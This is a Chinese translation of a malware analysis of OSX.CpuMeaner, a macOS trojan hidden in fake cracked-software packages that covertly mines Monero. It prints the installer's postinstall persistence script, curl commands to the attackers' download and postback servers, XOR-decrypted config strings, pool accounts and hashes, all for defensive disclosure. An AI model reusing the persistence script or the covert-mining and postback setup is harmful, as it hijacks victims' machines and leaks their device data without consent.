-
-
[翻译]针对macOS的新型加密货币挖矿木马OSX.CpuMeaner
-
2017-12-17 19:24 5867
-
针对macOS的新型加密货币挖矿木马OSX.CpuMeaner
本文中,我们分析了一个针对macOS的新型加密货币挖矿木马。该恶意软件隐藏于下载的盗版应用程序中,并秘密地利用用户的硬件进行门罗币(一种加密货币)挖矿。
虽然思路与OSX.Pwnet类似,但实现的方法更接近于恶意广告软件。
感染
使用盗版软件的用户可能会被来自各种来源的恶意软件感染,包括简单的Google搜索和描述中带有恶意链接的YouTube视频。技术支持诈骗,假的Flash播放器和推荐的病毒扫描,都可能导致受害者被恶意软件包感染。下面的例子是一个用户正在寻找破解版的Sketch应用程序:$ curl -svJO http://jumpcash.xyz/download.php -G -d e=pkg -d tag=mosx3 -d clickid=2305343 -d key="Sketch 47 Crack" * Trying 46.30.45.236... * Connected to jumpcash.xyz (46.30.45.236) port 80 (#0) > GET /download.php?e=pkg&tag=mosx3&clickid=2305343&key=Sketch 47 Crack HTTP/1.1 > Host: jumpcash.xyz > User-Agent: curl/7.43.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx/1.4.6 (Ubuntu) < Date: Tue, 14 Nov 2017 10:19:17 GMT < Content-Type: application/octet-stream < Content-Length: 169267 < Connection: keep-alive < X-Powered-By: PHP/5.5.9-1ubuntu4.21 < Content-Description: File Transfer < Content-Disposition: attachment; filename=Sketch_47_Crack-2305343-823868397374412531.pkg < Content-Transfer-Encoding: binary < Expires: 0 < Cache-Control: must-revalidate < Pragma: public < { [936 bytes data] * Connection #0 to host jumpcash.xyz left intact $ shasum -a 256 Sketch_47_Crack-2305343-823868397374412531.pkg 7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 Sketch_47_Crack-2305343-823868397374412531.pkg
目标文件名是使用key和clickid参数生成的。当然,下载的软件包不包含任何盗版软件:
在一个假的法文种子站上也发现了该威胁:
一些用户在Apple论坛上抱怨安装的可执行文件xmemapp和cpucooler。 根据VirusTotal,自2017年9月下半月以来,该威胁一直在肆虐,检测率为0。
软件包分析
在撰写本文时,服务器上有三个软件包:
$ for tag in mosx{1,2,3} ; do curl -s -o $tag.pkg http://jumpcash.xyz/download.php -G -d e=pkg -d tag=$tag ; done $ shasum -a 256 mosx*.pkg d15a51bb1a88a8906a997a0d4c0d3fb35ddd64b722af23120600eeea989ecef9 mosx1.pkg c3c0da504e40359ce8247b912cbff00cbd32a2222cb53a6bd30f2e44f7781049 mosx2.pkg 7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 mosx3.pkg
它们有同一个开发者证书的签名:
$ ls mosx*.pkg | xargs -L 1 pkgutil --check-signature | awk '/Developer ID Installer/' 1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789) 1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789) 1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789)
Apple于2017年11月10日撤销了该证书:
$ ls mosx*.pkg | xargs -L 1 spctl --assess -v --type install mosx1.pkg: CSSMERR_TP_CERT_REVOKED mosx2.pkg: CSSMERR_TP_CERT_REVOKED mosx3.pkg: CSSMERR_TP_CERT_REVOKED
带mosx1标记的软件包释放xmemapp,而带mosx2和mosx3标记的软件包释放cpucooler:
$ for pkg in mosx*.pkg ; do echo $pkg: $(pkgutil --payload-files $pkg | egrep -v -e ^\.$) ; done mosx1.pkg: ./xmemapp mosx2.pkg: ./cpucooler mosx3.pkg: ./cpucooler
有效载荷的哈希值不同:
$ for tag in mosx{1,2,3} ; do pkgutil --expand $tag.pkg $tag && tar xf $tag/Payload -C $tag ; done $ shasum -a 256 mosx*/{x,c}* d196aba4d59b132fc9cd6f6ba627166a8eb6631017636b0ed4df7fd0260524a5 mosx1/xmemapp 47e523a8b796c27b6c0fe91a4781aa7b47c8d66ddb75117d3f3283a6079ff128 mosx2/cpucooler 5c41ab1d3aaa33e021eb73c1a58894df8e679366d2f03663b8f1029a0dc80f26 mosx3/cpucooler
它们没有代码签名:
$ ls mosx*/{x,c}* | xargs -L 1 codesign -dvvv mosx1/xmemapp: code object is not signed at all mosx2/cpucooler: code object is not signed at all mosx3/cpucooler: code object is not signed at all
它们的安装位置不同:
$ for tag in mosx{1,2,3}; do echo $tag: $(xmllint --xpath "string(//pkg-info/@install-location)" $tag/PackageInfo) ; done mosx1: /Library/Application Support/XMemApp mosx2: /Library/Application Support/CpuCooler mosx3: /Library/Application Support/CpuCooler
安装完成后,软件包将运行postinstall脚本:
- 将launchd.plist文件写入/Library/LaunchAgents以实现持久化;
- 加载Launch Agent;
- 等待10秒钟然后结束所有带有可执行文件名的进程;
- 在后台等待60秒然后运行可执行文件,并以软件包名作为参数。
#!/bin/bash IDENTIFIER="com.osxext.cpucooler" INSTALL_LOCATION="/Library/Application Support/CpuCooler/cpucooler" LAUNCH_AGENT_PLIST="/Library/LaunchAgents/$IDENTIFIER.plist" echo '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>'$IDENTIFIER'</string> <key>Program</key> <string>'$INSTALL_LOCATION'</string> <key>RunAtLoad</key> <true/> </dict> </plist>' > "$LAUNCH_AGENT_PLIST" FILENAME=$(basename "$1") /bin/launchctl load "$LAUNCH_AGENT_PLIST" sleep 10 && sudo pkill cpucooler sleep 60 && /Library/Application\ Support/CpuCooler/cpucooler "$FILENAME" & exit
可执行文件分析
xmemapp和cpucooler是定制版的XMRig 2.3.1(一个开源的门罗币CPU挖矿程序)。
作者添加了一些函数来去混淆一些字符串并将反馈发送给服务器:
Postback::sendPostback(std::string const&); Utils::Utils(); Utils::encdec(std::string); Utils::exec(std::string const&); Utils::getNumber(); Utils::hex_to_string(std::string const&); Utils::jenkins_one_at_a_time_hash(std::string, unsigned long); Utils::str_replace(std::string, std::string const&, std::string const&); Utils::~Utils();
main()函数中设置了默认参数。硬编码的选项有:
- 挖矿服务器的URL-o;
- 挖矿服务器的用户名-u;
- 挖矿服务器的密码-p x;
- 当前CPU的av设置和安全调整线程--safe;
- 挖矿线程数-t 2。
Utils::encdec()使用Utils::hex_to_string()解码十六进制字符串,并异或0x4e解密结果:
$ strings mosx3/cpucooler | egrep -e ^[[:xdigit:]]+$ -m 5 27213c2b296e633c2a7f6e63397e6e632d6e0f3e3e222b0f060d070a273d250a3c27382b3c6e326e2f39256e69611d2b3c272f226e003b232c2b3c6135293d3b2c666c126c6c626e6c6c626e6a7a67753e3c27203a6e6a7a3369 243b233e2d2f3d2660363734 23213d367d 3d3a3c2f3a3b23653a2d3e74616136233c603e212122602327202b3c292f3a2b602d2123747a7b7b787e 232f3c3a27202439262b2b3a0e232f2722602d2123 $ ../decrypt_strings.py mosx1/xmemapp mosx{2,3}/cpucooler Decrypted strings for: mosx1/xmemapp ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub("\"", "", $4);print $4}' jumpcash.xyz mosx1 stratum+tcp://xmr.pool.minergate.com:45560 jeffguyen@mail.com Decrypted strings for: mosx2/cpucooler ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub("\"", "", $4);print $4}' jumpcash.xyz mosx2 stratum+tcp://xmr.pool.minergate.com:45560 jeffguyen@mail.com Decrypted strings for: mosx3/cpucooler ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub("\"", "", $4);print $4}' jumpcash.xyz mosx3 stratum+tcp://xmr.pool.minergate.com:45560 martinjwheet@mail.com
这些二进制文件使用2个线程(即200%的CPU)在MinerGate XMR池中为jeffguyen@mail.com(mosx1,mosx2)和martinjwheet@mail.com(mosx3)账号挖矿。
当使用真正的参数(即通过软件包postinstall脚本)执行时,main()会在第一个参数(软件包名)中查找一个"-"和一个".",找到后,以子字符串作为参数调用Postback::sendPostback()函数。
Postback::sendPostback()将安装数据发送到解密的域名,当中使用了Utils::getNumber():
$ curl -A MNR -w "%{http_code}" http://jumpcash.xyz/pb.php -G -d t=mosx3 -d mid=2162179746 -d i=2305343-823868397374412531 200
Utils::getNumber()使用Utils::exec()运行解密的ioreg命令。输出经过Jenkins的one-at-a-time哈希算法计算,并转换为包含在请求参数中的十进制表示形式。
讽刺的是,Utils::str_replace()和 Utils::enkins_one_at_a_time_hash()函数没有被使用(死代码)。
MNR2变种
在jumpcash.xyz域名被端掉之后,没过多长时间在其他网站上就出现了更多的变种,比如这里和这里:
$ for tag in mosx{2,3,np} ; do curl -s -o $tag.pkg http://storekit.xyz/api/v1/download.php -G -d e=pkg -d tag=$tag ; done $ shasum -a 256 *.pkg b6cbc89d0b5a8938c74c1f601a2b7a88b4a3391bf808d2c028885003a16d9b5a mosx2.pkg f1da940d6f417ef0001595ed816889ecdcacb41a3d6c921b6e039dc30e35ab8a mosx3.pkg 6e0ec2d6754138b5971f417176136a7becfd75359919a8a5a3b4233aeaade9b3 mosxnp.pkg
软件包使用了另一个随后被很快撤销的开发者证书:
$ ls mosx*.pkg | xargs -L 1 pkgutil --check-signature | awk '/Developer ID Installer/' 1. Developer ID Installer: Adam Kortney (9ADZ437492) 1. Developer ID Installer: Adam Kortney (9ADZ437492) 1. Developer ID Installer: Adam Kortney (9ADZ437492) $ ls mosx*.pkg | xargs -L 1 spctl --assess -v --type install mosx2.pkg: accepted source=Developer ID mosx3.pkg: accepted source=Developer ID mosxnp.pkg: accepted source=Developer ID
Apple于2017年11月22日将该证书撤销:
可执行文件具有新的名称和安装位置:
$ for pkg in mosx*.pkg ; do echo $pkg: $(pkgutil --payload-files $pkg | egrep -v -e ^\.$) ; done mosx2.pkg: ./mxcpu mosx3.pkg: ./mxzcpu mosxnp.pkg: ./moszcpu $ for tag in mosx{2,3,np} ; do pkgutil --expand $tag.pkg $tag && tar xf $tag/Payload -C $tag ; done $ shasum -a 256 mosx*/m*cpu 91b929d2470e3507b5faf5f12adb35046d96777e8b55b28b8e859a30924168b2 mosx2/mxcpu b636b2cc15925e68c200449d5d78a9e169af379e4e3b007075ded00d777ffdc7 mosx3/mxzcpu 9a8b16f0a44cd63bf525142519b23481d4dcfd84d2dae02a0b0b9cb5caf1c147 mosxnp/moszcpu $ for tag in mosx{2,3,np}; do echo $tag: $(xmllint --xpath "string(//pkg-info/@install-location)" $tag/PackageInfo) ; done mosx2: /Library/Application Support/mxcpu mosx3: /Library/Application Support/mxzcpu mosxnp: /Library/Application Support/moszcpu
如果计算机已经被旧的变种感染,则软件包现有的preinstall脚本会终止感染并显示错误代码。
这是新的postinstall脚本工作流程:
- 将launchd.plist文件写入/Library/LaunchAgents以实现持久化;
- 如果机器已经感染,则退出;
- 将软件包名写入/Library/Application Support/mosxnp/info文件;
- 加载并启Launch Agent;
- 等待5秒钟,检查可执行文件是否正在运行;
- 如果没有,在后台等待30秒,然后运行可执行文件,并以软件包名作为参数;
- 向服务器发送安装状态请求。
新的可执行文件基于XMRig 2.4.2。自定义功能是相似的。 main()在/Library/Application Support/mosxnp/info文件中读取软件包名。
它们针对macOS Sierra或更高版本(10.12以上),并会在较低的系统版本上崩溃:
$ uname -v Darwin Kernel Version 15.6.0: Mon Aug 29 20:21:34 PDT 2016; root:xnu-3248.60.11~1/RELEASE_X86_64 $ ./mxzcpu dyld: lazy symbol binding failed: Symbol not found: _clock_gettime Referenced from: /Library/Application Support/mxzcpu/./mxzcpu (which was built for Mac OS X 10.12) Expected in: /usr/lib/libSystem.B.dylib dyld: Symbol not found: _clock_gettime Referenced from: /Library/Application Support/mxzcpu/./mxzcpu (which was built for Mac OS X 10.12) Expected in: /usr/lib/libSystem.B.dylib Trace/BPT trap: 5
这其实是有道理的,因为macOS Sierra需要支持SSE4的处理器,这样挖矿更快。
以下是解密的字符串:
$ ../decrypt_strings.py mosx*/m*cpu Decrypted strings for: mosx2/mxcpu storekit.xyz mosx2 ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub("\"", "", $4);print $4}' /Library/Application Support/mxcpu/info stratum+tcp://xmr.pool.minergate.com:45560 jeffguyen@mail.com Decrypted strings for: mosx3/mxzcpu storekit.xyz mosx3 ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub("\"", "", $4);print $4}' /Library/Application Support/mxzcpu/info stratum+tcp://xmr.pool.minergate.com:45560 martinjwheet@mail.com Decrypted strings for: mosxnp/moszcpu storekit.xyz mosxnp ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub("\"", "", $4);print $4}' /Library/Application Support/moszcpu/info stratum+tcp://xmr-eu1.nanopool.org:14444 49dP6YfhFHmLWb16jESv8V977cYzbx8zCXz6A7gUh1sn65jQ1eQgUpG9qCs2mfNhVW9Jm86RQpDGTHxokFnutubU6HQCeuN.34c5cb2b877d296b3fcfd9c6fb9a5da0c42b044e7fd52372ae5b6cd9bbe6c5c8.
带mosxnp标记的变种在Nanopool XMR池中挖矿。
Postback::sendPostback()使用User-Agent MNR2将安装数据发送到主机storekit.xyz上的URI /api/v1/pb.php。
VirusTotal样本
在2017年11月中旬,几个标签为mosx3和mosxnp的软件包上传到了VirusTotal。
他们的可执行文件cpulite和mosxnp是MNR2的变种,但是postinstall脚本略有不同。
XMRig依赖库libuv和libmicrohttpd没有静态链接:符号被导入。 由于动态库在目标机器(Homebrew路径)上很可能不存在,因此这些可执行文件在启动时可能会崩溃:
$ otool -L mosxnp mosxnp: /usr/local/opt/libuv/lib/libuv.1.dylib (compatibility version 2.0.0, current version 2.0.0) /usr/local/opt/libmicrohttpd/lib/libmicrohttpd.12.dylib (compatibility version 56.0.0, current version 56.0.0) /usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 307.4.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1238.0.0) $ ./mosxnp dyld: Library not loaded: /usr/local/opt/libuv/lib/libuv.1.dylib Referenced from: /Library/Application Support/mosxnp/./mosxnp Reason: image not found Abort trap: 6
结论
这个OSX.CpuMeaner是新一类攻击大趋势的一部分,因为加密货币挖矿攻击已经在Android,PC,Linux服务器,甚至是带CoinHive挖矿脚本的Chrome上出现。实际上,犯罪分子一直在寻找方法来从感染设备中获利,尽管加密货币挖矿恶意软件不是传统的攻击方式(比如密码或其他敏感数据泄露、设备远程控制等),但是这种攻击方式回报丰厚,仅仅需要一个小CPU和一些看起来“清白”的网络通信。
无法100%确定是否这些攻击永远是可行的,但只要市场持续爆发,人们被像门罗币、DASH等货币的诱人的投资回报率吸引,我们就会继续看到这些攻击的出现。
原文地址:https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/
本文由看雪论坛翻译小组成员SpearMint翻译
[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法